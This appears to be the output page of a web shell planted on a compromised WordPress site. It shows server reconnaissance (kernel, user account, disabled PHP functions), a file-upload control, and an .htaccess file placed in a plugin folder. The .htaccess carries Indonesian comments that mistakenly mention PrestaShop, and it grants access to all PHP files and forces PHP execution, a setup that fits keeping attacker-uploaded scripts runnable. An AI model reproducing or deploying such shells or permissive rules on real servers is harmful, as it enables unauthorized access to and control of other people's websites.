HEX
Server: Apache
System: Linux linplesk41.pumo.com.tw 3.10.0-962.3.2.lve1.5.27.el7.x86_64 #1 SMP Sat Nov 30 02:18:52 EST 2019 x86_64
User: rajlaw (10192)
PHP: 7.4.24
Disabled: phpinfo,passthru,exec,shell_exec,system,popen,proc_open,proc_close,show_source,pcntl_exec,escapeshellcmd,proc_get_status,proc_nice,proc_terminate,escapeshellarg
Upload Files
File: /home/httpd/vhosts/rajlaw.com.tw/httpdocs/wp-content/plugins/wp-editor/.htaccess
# Matikan Multiviews agar URL tetap sesuai
Options -MultiViews

# Pastikan index.php bisa diakses sebagai halaman utama
DirectoryIndex index.php index.html index.htm

# Izinkan akses ke semua file PHP
<FilesMatch "\.php$">
    Require all granted
</FilesMatch>

# Pastikan PrestaShop bisa menangani semua request dengan index.php
<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /

    # Redirect ke HTTPS jika perlu (opsional)
    # RewriteCond %{HTTPS} !=on
    # RewriteRule ^ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

    # Pastikan semua request ke PrestaShop diproses dengan index.php
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
</IfModule>

# Menghindari error 403 (Forbidden)
<IfModule mod_dir.c>
    DirectoryIndex index.php index.html index.htm
</IfModule>

# Izinkan PHP berjalan dengan benar
<IfModule mod_mime.c>
    AddType application/x-httpd-php .php
</IfModule>

# Tambahkan perizinan untuk cache & performa
<IfModule mod_expires.c>
    ExpiresActive On
    ExpiresDefault "access plus 1 month"
</IfModule>

# Proteksi tambahan agar tidak bisa akses folder sensitif
<IfModule mod_rewrite.c>
    RewriteRule ^(config|docs|install|translations|README.md) - [F,L]
</IfModule>